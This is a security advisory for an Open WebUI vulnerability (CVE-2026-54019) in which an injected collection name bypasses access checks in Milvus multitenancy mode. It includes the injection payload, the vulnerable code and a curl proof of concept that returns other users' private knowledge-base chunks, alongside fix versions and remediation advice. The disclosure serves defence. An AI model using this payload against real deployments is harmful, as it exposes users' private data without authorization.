GHSA-p5cp-r7rg-qpxc CVE-2026-54019 PYSEC-2026-2750
Open WebUI: RAG ACL Bypass in Milvus Multitenancy Mode
- Severity
- 6.5 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.39%
- Chance of exploitation in the next 30 days. Higher than 32.64% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-862 Missing Authorization
- CWE-943 Improper Neutralization of Special Elements in Data Query Logic
- Fix
0.9.6- Upgrade open-webui to this version or later
Description
RAG ACL Bypass in Milvus Multitenancy Mode
Summary
This is a bypass of the fix for:
- GHSA-h36f-rqpx-j5wx
- CVE-2026-44560
- "Unauthorized File and Knowledge Base Content Access via RAG Vector Search"
Open WebUI added collection-level ACL checks, but the patch can still be bypassed when Milvus multitenancy mode is enabled. The ACL allows unknown non-KB collection names as legacy/ephemeral collections. In Milvus multitenancy mode, that user-controlled collection name becomes a resource_id and is interpolated into a Milvus expression without escaping.
An authenticated non-admin user can query:
x' or resource_id != '' or resource_id == 'x
This passes the Open WebUI ACL as an unknown collection, but Milvus evaluates:
resource_id == 'x' or resource_id != '' or resource_id == 'x'
That returns private knowledge-base chunks belonging to other users.
Affected Configuration
Tested on:
Open WebUI: v0.9.5, commit 3660bc00f
VECTOR_DB=milvus
ENABLE_MILVUS_MULTITENANCY_MODE=true
This is not a default-vector-store issue. It affects production deployments using Milvus multitenancy.
Impact
An authenticated low-privilege user can read private RAG / knowledge-base content they do not have access to. No victim interaction is required.
Root Cause
ACL permits unknown collection names:
# backend/open_webui/retrieval/utils.py
elif not await Knowledges.get_knowledge_by_id(name):
validated.add(name)
Milvus multitenancy then treats the same name as resource_id and builds unsafe expressions:
# backend/open_webui/retrieval/vector/dbs/milvus_multitenancy.py
expr=f"{RESOURCE_ID_FIELD} == '{resource_id}'"
Affected paths include:
POST /api/v1/retrieval/query/collection
POST /api/v1/retrieval/query/doc
PoC
Request:
curl -s -X POST "$TARGET/api/v1/retrieval/query/collection" \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H "Content-Type: application/json" \
--data-binary @- <<'JSON'
{
"collection_names": [
"x' or resource_id != '' or resource_id == 'x"
],
"query": "anything",
"k": 10,
"hybrid": false
}
JSON
Actual result: private chunks from other users' knowledge collections are returned.
Expected result: request should be rejected with 403 or return no unauthorized content.
Remediation
- Do not allow arbitrary unknown collection names in user-controlled RAG query endpoints.
- Escape or parameterize Milvus expression values before building filters.
- Reject collection names containing quotes/control characters unless they match a known internal format.
- Add a regression test for this payload in Milvus multitenancy mode:
x' or resource_id != '' or resource_id == 'x
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| open-webui | < 0.9.6 |
0.9.6 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
open-webui PyPI → 0.9.6
- pip
pip install --upgrade "open-webui>=0.9.6"- poetry
poetry add "open-webui>=0.9.6"- uv
uv add "open-webui>=0.9.6"
Severity breakdown
CVSS 3.1 6.5
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Weakness
CWE-862: Missing Authorization
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CWE-943: Improper Neutralization of Special Elements in Data Query Logic
The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-wvm9-9g5j-623f Open WebUI: Users denied by the OAuth role policy can still sign in via token exchange | Medium | Also affects open-webui |
| GHSA-4qg5-cxx4-g927 Open WebUI: Users denied by the OAuth domain allowlist or role policy can still sign in via token exchange | Medium | Also affects open-webui |
| GHSA-jqhh-cjmq-vmv6 Open WebUI: Any authenticated user can hang the server via a cyclic chat message history | Medium | Also affects open-webui |
| GHSA-5x7x-4c3c-qf5w Open WebUI: Server-side fetches reach blocked and internal hosts via unvalidated HTTP redirect targets | Medium | Also affects open-webui |
| GHSA-3cgp-3cqx-j8w2 Open WebUI: Any authenticated user can hang the server via message deletion in a cyclic chat tree | Medium | Also affects open-webui |
| GHSA-34r3-9m95-vq73 Open WebUI: Any authenticated user can reach the Azure platform channel via server-side web fetch | High | Also affects open-webui |
| GHSA-2724-6cpj-gf3v Open WebUI: Non-admin users can delete admin-owned external knowledge connections via knowledge base deletion | High | Also affects open-webui |
| GHSA-3pf7-q2g3-wj28 Open WebUI: Any authenticated user can inject chats into another user's folder via chat completions | Medium | Also affects open-webui |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor